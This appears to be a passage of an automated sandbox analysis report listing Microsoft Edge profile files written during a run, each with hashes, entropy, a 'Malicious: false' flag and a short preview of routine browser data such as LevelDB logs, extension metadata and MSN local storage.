Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	358860
Entropy (8bit):	5.324612563702211
Encrypted:	false
SSDEEP:	6144:CgimBVvUrsc6rRA81b/18jyJNjfvrfM6RA:C1gAg1zfv4
MD5:	4F97F545B51EE1FCD0C44DBFBB6ED7FB
SHA1:	D6B66C5036F61E11B85D26350E64F5AD10892C58
SHA-256:	2A8A854212FB6C9EF48EB2E2A6E3E24CDD9772FC8FB9E4BF57A4581236A89EDD
SHA-512:	54356826563D0419E3441003222976CE3DB36C2EDB7C5DE40DD4483E7BD3C3185A696DD67C4F1C717E50ADAE75B0A30B5E165F7A2490A903AFE255B37F4BC759
Malicious:	false
Preview:	{"aee_config":{"ar":{"price_regex":{"ae":"(((ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)))","dz":"(((dzd\|da\|\\x{062F}\\x{062C})\\s\\d{1,3})\|(\\d{1,3}\\s(dzd\|da\|\\x{062F}\\x{062C})))","eg":"(((e\\x{00a3}\|egp)\\s\\d{1,3})\|(\\d{1,3}\\s(e\\x{00a3}\|egp)))","ma":"(((mad\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(mad\|dhs\|dh)))","sa":"((\\d{1,3}\\s(sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633}))\|((sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633})\\s\\d{1,3}))"},"product_terms":"((\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{0639}\\x{0631}\\x{0628}\\x{0629})\|(\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{062D}\\x{0642}\\x{064A}\\x{0628}\\x{0629})\|(\\x{0627}\\x{0634}\\x{062A}\\x{0631}\\x{064A}\\s*\\x{0627}\\x{0644}\\x{0622}\\x{0646})\|(\\x{062E}\\x{064A}\\x{0627}\\x{0631}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
MD5:	BF097D724FDF1FCA9CF3532E86B54696
SHA1:	4039A5DD607F9FB14018185F707944FE7BA25EF7
SHA-256:	1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
SHA-512:	31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.197194222964059
Encrypted:	false
SSDEEP:	6:HC/1vKOq2PcNwi23oH+Tcwt8aPrqIFUt8YC/1kcZmw+YC/1tuTkwOcNwi23oH+Ts:CvvLZYebL3FUt8zkc/+ztG54ZYebQJ
MD5:	73E326B9D56770B43FD81A760C04537F
SHA1:	69878D255201A6EF86E1121A82576F5E83711225
SHA-256:	EB0773C6BD4FBEE74BB8F9EECFB99FB25EE2983A1B8DEE94343594AEBC01BC7E
SHA-512:	466594BC0BF894EAE77290B7E5FD657BD9A382D4812411162C74A424D06CE54FA7B2DE0A41F7D533755C07E763E8DB22EAE1D2676E78498FF5FE25A0F9E18B16
Malicious:	false
Preview:	2024/11/27-13:49:02.781 1ca4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/11/27-13:49:02.782 1ca4 Recovering log #3.2024/11/27-13:49:02.783 1ca4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.197194222964059
Encrypted:	false
SSDEEP:	6:HC/1vKOq2PcNwi23oH+Tcwt8aPrqIFUt8YC/1kcZmw+YC/1tuTkwOcNwi23oH+Ts:CvvLZYebL3FUt8zkc/+ztG54ZYebQJ
MD5:	73E326B9D56770B43FD81A760C04537F
SHA1:	69878D255201A6EF86E1121A82576F5E83711225
SHA-256:	EB0773C6BD4FBEE74BB8F9EECFB99FB25EE2983A1B8DEE94343594AEBC01BC7E
SHA-512:	466594BC0BF894EAE77290B7E5FD657BD9A382D4812411162C74A424D06CE54FA7B2DE0A41F7D533755C07E763E8DB22EAE1D2676E78498FF5FE25A0F9E18B16
Malicious:	false
Preview:	2024/11/27-13:49:02.781 1ca4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/11/27-13:49:02.782 1ca4 Recovering log #3.2024/11/27-13:49:02.783 1ca4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
MD5:	BF097D724FDF1FCA9CF3532E86B54696
SHA1:	4039A5DD607F9FB14018185F707944FE7BA25EF7
SHA-256:	1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
SHA-512:	31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	334
Entropy (8bit):	5.212947114656055
Encrypted:	false
SSDEEP:	6:HC/1pKOq2PcNwi23oH+Tcwt865IFUt8YC/1ycZmw+YC/1nuHzkwOcNwi23oH+Tc4:CpKOvLZYeb/WFUt8zZ/+zez54ZYeb/+e
MD5:	B5422D1EB3BEC020641D3CB9B00A9593
SHA1:	90AA305C98E82EE11942AC4C52B69B3DA4B4DFE3
SHA-256:	0F3B368AE73AF40212E99082544F5AB529D7953969FF4A46E2E966B9B3BF8D24
SHA-512:	60BC1B545F864AC72075AA5D4CB823F4A9D973DE23C537D0CB0AC87485B519F9BE65879C167C671D7ADE7EF42D3C263BD91201C7F7627929EE7E76ED36E8EAA3
Malicious:	false
Preview:	2024/11/27-13:49:02.787 1ca4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/11/27-13:49:02.788 1ca4 Recovering log #3.2024/11/27-13:49:02.789 1ca4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	334
Entropy (8bit):	5.212947114656055
Encrypted:	false
SSDEEP:	6:HC/1pKOq2PcNwi23oH+Tcwt865IFUt8YC/1ycZmw+YC/1nuHzkwOcNwi23oH+Tc4:CpKOvLZYeb/WFUt8zZ/+zez54ZYeb/+e
MD5:	B5422D1EB3BEC020641D3CB9B00A9593
SHA1:	90AA305C98E82EE11942AC4C52B69B3DA4B4DFE3
SHA-256:	0F3B368AE73AF40212E99082544F5AB529D7953969FF4A46E2E966B9B3BF8D24
SHA-512:	60BC1B545F864AC72075AA5D4CB823F4A9D973DE23C537D0CB0AC87485B519F9BE65879C167C671D7ADE7EF42D3C263BD91201C7F7627929EE7E76ED36E8EAA3
Malicious:	false
Preview:	2024/11/27-13:49:02.787 1ca4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/11/27-13:49:02.788 1ca4 Recovering log #3.2024/11/27-13:49:02.789 1ca4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1254
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	12:qWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWA:
MD5:	826B4C0003ABB7604485322423C5212A
SHA1:	6B8EF07391CD0301C58BB06E8DEDCA502D59BCB4
SHA-256:	C56783C3A6F28D9F7043D2FB31B8A956369F25E6CE6441EB7C03480334341A63
SHA-512:	0474165157921EA84062102743EE5A6AFE500F1F87DE2E87DBFE36C32CFE2636A0AE43D8946342740A843D5C2502EA4932623C609B930FE8511FE7356D4BAA9C
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5........

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.203675457420731
Encrypted:	false
SSDEEP:	6:HC/dq2PcNwi23oH+Tcwt8NIFUt8YC/PZmw+YC/dkwOcNwi23oH+Tcwt8+eLJ:QvLZYebpFUt85/+T54ZYebqJ
MD5:	2580C055DAFD7F8CCC75EEE6C3421BBA
SHA1:	1DD2C3D428140DE18290DACE420B071568E39C5A
SHA-256:	4C28FC2A0C4824B4D9EBC2200BC2AD8CF6A6D29A0F5A0F50A1BB673125C40384
SHA-512:	5BD0E1C33A2B069EF7D4CEDD23107E8E8D1A47F19FF63917C748336696E5E51D4715F351228C9780E94B51DD54831B42CECFBD5EA7ECDB67AF54B88761A896DF
Malicious:	false
Preview:	2024/11/27-13:49:03.394 1830 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/11/27-13:49:03.395 1830 Recovering log #3.2024/11/27-13:49:03.395 1830 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.203675457420731
Encrypted:	false
SSDEEP:	6:HC/dq2PcNwi23oH+Tcwt8NIFUt8YC/PZmw+YC/dkwOcNwi23oH+Tcwt8+eLJ:QvLZYebpFUt85/+T54ZYebqJ
MD5:	2580C055DAFD7F8CCC75EEE6C3421BBA
SHA1:	1DD2C3D428140DE18290DACE420B071568E39C5A
SHA-256:	4C28FC2A0C4824B4D9EBC2200BC2AD8CF6A6D29A0F5A0F50A1BB673125C40384
SHA-512:	5BD0E1C33A2B069EF7D4CEDD23107E8E8D1A47F19FF63917C748336696E5E51D4715F351228C9780E94B51DD54831B42CECFBD5EA7ECDB67AF54B88761A896DF
Malicious:	false
Preview:	2024/11/27-13:49:03.394 1830 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/11/27-13:49:03.395 1830 Recovering log #3.2024/11/27-13:49:03.395 1830 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\jmjflgjpcpepeafmmgdpfkogkghcpiha\1.2.1_0\_metadata\computed_hashes.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	429
Entropy (8bit):	5.809210454117189
Encrypted:	false
SSDEEP:	6:Y8U0vEjrAWT0VAUD9lpMXO4SrqiweVHUSENjrAWT0HQQ9/LZyVMQ3xqiweVHlrSQ:Y8U5j0pqCjJA7tNj0pHx/LZ4hcdQ
MD5:	5D1D9020CCEFD76CA661902E0C229087
SHA1:	DCF2AA4A1C626EC7FFD9ABD284D29B269D78FCB6
SHA-256:	B829B0DF7E3F2391BFBA70090EB4CE2BA6A978CCD665EEBF1073849BDD4B8FB9
SHA-512:	5F6E72720E64A7AC19F191F0179992745D5136D41DCDC13C5C3C2E35A71EB227570BD47C7B376658EF670B75929ABEEBD8EF470D1E24B595A11D320EC1479E3C
Malicious:	false
Preview:	{"file_hashes":[{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","6RbL+qKART8FehO4s7U0u67iEI8/jaN+8Kg3kII+uy4=","CuN6+RcZAysZCfrzCZ8KdWDkQqyaIstSrcmsZ/c2MVs="],"block_size":4096,"path":"content.js"},{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","UL53sQ5hOhAmII/Yx6muXikzahxM+k5gEmVOh7xJ3Rw=","u6MdmVNzBUfDzMwv2LEJ6pXR8k0nnvpYRwOL8aApwP8="],"block_size":4096,"path":"content_new.js"}],"version":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	0.2191763562065486
Encrypted:	false
SSDEEP:	3:c2/lDvtFlljq7A/mhWJFuQ3yy7IOWUDn4dweytllrE9SFcTp4AGbNCV9RUI72:c2C75fOCd0Xi99pEY52
MD5:	1BC9CF018FF551D1BFEB830CBFE9F049
SHA1:	3D299B443B40047E885ED945EC1957CEE1659262
SHA-256:	64CF1952D8DF2D7E07B750BB061341FE6A9E180C8ECF32D5DCE45FC0036AEA5E
SHA-512:	FBEB69A3E86DF92486FD5A9E1D15B02B6D68B93FEE2B69BDE3B5DA4F9BD87ABF4DC79928D195C4D8BC6EE09035559A5D4A8B8241D08A999A17D0183DE268BC6A
Malicious:	false
Preview:	..................&....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps Icons

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 11, cookie 0x3, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	45056
Entropy (8bit):	3.918432514590165
Encrypted:	false
SSDEEP:	384:jj9P0BQkQerkjlmgam6IqP/KbtV773pL9cwh3RKToaAu:jdGe2mlZaP/c7swhRKcC
MD5:	1AC9278F6978FE9239B4A702B7F35E64
SHA1:	C84B2827933D53B935D02238DE4D04A6C295D961
SHA-256:	1882B7B76CFB62F828F1F40871CE69A89B15E5B2FFA20CA0CDDCA68C235E85B4
SHA-512:	462939394764A31B0A36E9CE40498649211762871400C7797867567003B68A25D2D0F062A2728033BDE68C41BA7948410A2E93745D6DAF7120A24FA989F21305
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...:.8....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	414
Entropy (8bit):	5.3052187404286295
Encrypted:	false
SSDEEP:	12:GkvLZYeb8rcHEZrELFUt83G/+3t54ZYeb8rcHEZrEZSJ:TlYeb8nZrExg83oYeb8nZrEZe
MD5:	DF67C7497995E992B022FE2C0F0D0B3E
SHA1:	B63F85B76245EEE203B64E969E072CDB347B461F
SHA-256:	B361FA09C28869A8531A0844A3FC7ABDF600DD833AF7A85C1E2DF70F6256AF2B
SHA-512:	08DFE22E9423EA4EC754D7024CBC8C6896B6FA3C2384A83D905ADDB3A2EC72ADF33C2DA1854D2BA7D836E0BA7304973985C95A9785A57848C2ED8F7DCFDA2D91
Malicious:	false
Preview:	2024/11/27-13:49:06.426 1830 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/11/27-13:49:06.427 1830 Recovering log #3.2024/11/27-13:49:06.433 1830 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	414
Entropy (8bit):	5.3052187404286295
Encrypted:	false
SSDEEP:	12:GkvLZYeb8rcHEZrELFUt83G/+3t54ZYeb8rcHEZrEZSJ:TlYeb8nZrExg83oYeb8nZrEZe
MD5:	DF67C7497995E992B022FE2C0F0D0B3E
SHA1:	B63F85B76245EEE203B64E969E072CDB347B461F
SHA-256:	B361FA09C28869A8531A0844A3FC7ABDF600DD833AF7A85C1E2DF70F6256AF2B
SHA-512:	08DFE22E9423EA4EC754D7024CBC8C6896B6FA3C2384A83D905ADDB3A2EC72ADF33C2DA1854D2BA7D836E0BA7304973985C95A9785A57848C2ED8F7DCFDA2D91
Malicious:	false
Preview:	2024/11/27-13:49:06.426 1830 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/11/27-13:49:06.427 1830 Recovering log #3.2024/11/27-13:49:06.433 1830 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1475
Entropy (8bit):	5.662413497190927
Encrypted:	false
SSDEEP:	24:UKZW17vXBdbpXZ2W2sFV0374C0MyYWTUlHHlSHBkTN5zgFHHmi28/V:xZ87vlXZF2iV0374CnyYmcSK+HH328t
MD5:	020C10A278636A9866EBE0AB8C101A62
SHA1:	750AD7C32B6B3F017753B997F2E23030DEB29F40
SHA-256:	720442D3C20CE80174FF22C3FDE8C4F31D7DA5A3DC38E11634519D8D5E8EE2F4
SHA-512:	4820ABB935BDE049DB716AB1B87E2D6E3391580A628272368BAC384DC7E220834716324C83CC98D513ACCCE6601738A56FA11DEEB8D650302283D3A406A70D58
Malicious:	false
Preview:	5d_..................VERSION.1..META:https://ntp.msn.com..............!_https://ntp.msn.com..LastKnownPV..1732733359482.._https://ntp.msn.com..MUID!.0941BF85F38264F21CE2AAC1F2AB6567.._https://ntp.msn.com..bkgdV...{"cachedVideoId":-1,"lastUpdatedTime":1732733359613,"schedule":[-1,39,-1,-1,-1,40,33],"scheduleFixed":[-1,39,-1,-1,-1,40,33],"simpleSchedule":[44,49,35,15,16,50,26]}.%_https://ntp.msn.com..clean_meta_flag..1.5_https://ntp.msn.com..enableUndersideAutoOpenFromEdge..false.7_https://ntp.msn.com..nurturing_interaction_trace_ls_id..1732733359438.&_https://ntp.msn.com..oneSvcUniTunMode..header."_https://ntp.msn.com..pageVersions..{"dhp":"20241122.365"}.*_https://ntp.msn.com..pivotSelectionSource..sticky.#_https://ntp.msn.com..selectedPivot..myFeed.#_https://ntp.msn.com..switchedPivot..myFeed.O_https://ntp.msn.com..Wed Nov 27 2024 13:49:18 GMT-0500 (Eastern Standard Time).!_https://ntp.msn.com..storageTest....$................META:https://ntp.msn.com..............._https://ntp.msn.com

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.235125871632408
Encrypted:	false
SSDEEP:	6:HC/wQ+q2PcNwi23oH+Tcwt8a2jMGIFUt8YC/BgZmw+YC/cQVkwOcNwi23oH+Tcw2:XVvLZYeb8EFUt8bg/+OI54ZYeb8bJ
MD5:	4E641A3E31E030867EDDCE2E8351330B
SHA1:	FB22C7EAA1D3B6CEF1DEE5110044264B88BAF64E
SHA-256:	80FB9C10DF1A71D38BC18DC3A10799D06C963D5C2CB84EFD5665947B7EE6DFDD
SHA-512:	4F73BD3ADB3769C23D0A3600B6BB141291208B0F5B2DCA9EBA1B82179012076D4644C0767AF64ABAD502E37C92CA708E6FE4E48E807F41127C9C886B7D5A2C83
Malicious:	false
Preview:	2024/11/27-13:49:03.832 1f58 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/11/27-13:49:03.833 1f58 Recovering log #3.2024/11/27-13:49:03.836 1f58 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.235125871632408
Encrypted:	false
SSDEEP:	6:HC/wQ+q2PcNwi23oH+Tcwt8a2jMGIFUt8YC/BgZmw+YC/cQVkwOcNwi23oH+Tcw2:XVvLZYeb8EFUt8bg/+OI54ZYeb8bJ
MD5:	4E641A3E31E030867EDDCE2E8351330B
SHA1:	FB22C7EAA1D3B6CEF1DEE5110044264B88BAF64E
SHA-256:	80FB9C10DF1A71D38BC18DC3A10799D06C963D5C2CB84EFD5665947B7EE6DFDD
SHA-512:	4F73BD3ADB3769C23D0A3600B6BB141291208B0F5B2DCA9EBA1B82179012076D4644C0767AF64ABAD502E37C92CA708E6FE4E48E807F41127C9C886B7D5A2C83
Malicious:	false
Preview:	2024/11/27-13:49:03.832 1f58 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/11/27-13:49:03.833 1f58 Recovering log #3.2024/11/27-13:49:03.836 1f58 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\75afff1a-e46a-4833-9ba4-f33e323f6a55.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 8, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	2.7830146571230188
Encrypted:	false
SSDEEP:	192:tTU6f2daGlpToaxdq3RojlD6MeCq9agw//aR0D/b6Gyqjy4BsbyqdMXcf0L/ZJVb:VTOsWZRdD8apyP+XI0LhJVb
MD5:	658CDCC125C458F8CC67BC7302F4F2B1
SHA1:	EF3A9DD63D399ED53B78542C2996F7A7379D64B8
SHA-256:	FE54F10EF3E1C7601C33B786F259CB620ED4A402FD4928BB121C6AE2A3EDBBC8
SHA-512:	26B4878877B43D2E392AE4C81E7A0564995CF7FD6479ABB1C0665E3C89112167D864349C1584F7A46619F4634BFAB0AB1E1849FE968E1BF78A5FFC845D9546FD
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1618
Entropy (8bit):	5.302994819295006
Encrypted:	false
SSDEEP:	48:YcCpWsduCvsafc7leeBRsygCgkhYhbyD0:F2vu22keBxukOhn
MD5:	90B46E2386024DB7264E402160E5F3B4
SHA1:	3B2E2F784405DFE32CFE038FAF9F0121224877BB
SHA-256:	C56B810798569D26A6B771B8DED39C12F26FAC419F019BC878C6B001FBFA501D
SHA-512:	FA97B24F01A6378FA4A2B3875E9694AC90F0C469E14675FE657DB2F6728C9C9A5D665766F97FE72F533AA89E38C0F0B700C364B85C75867AB6F0083EDD05B186
Malicious:	false
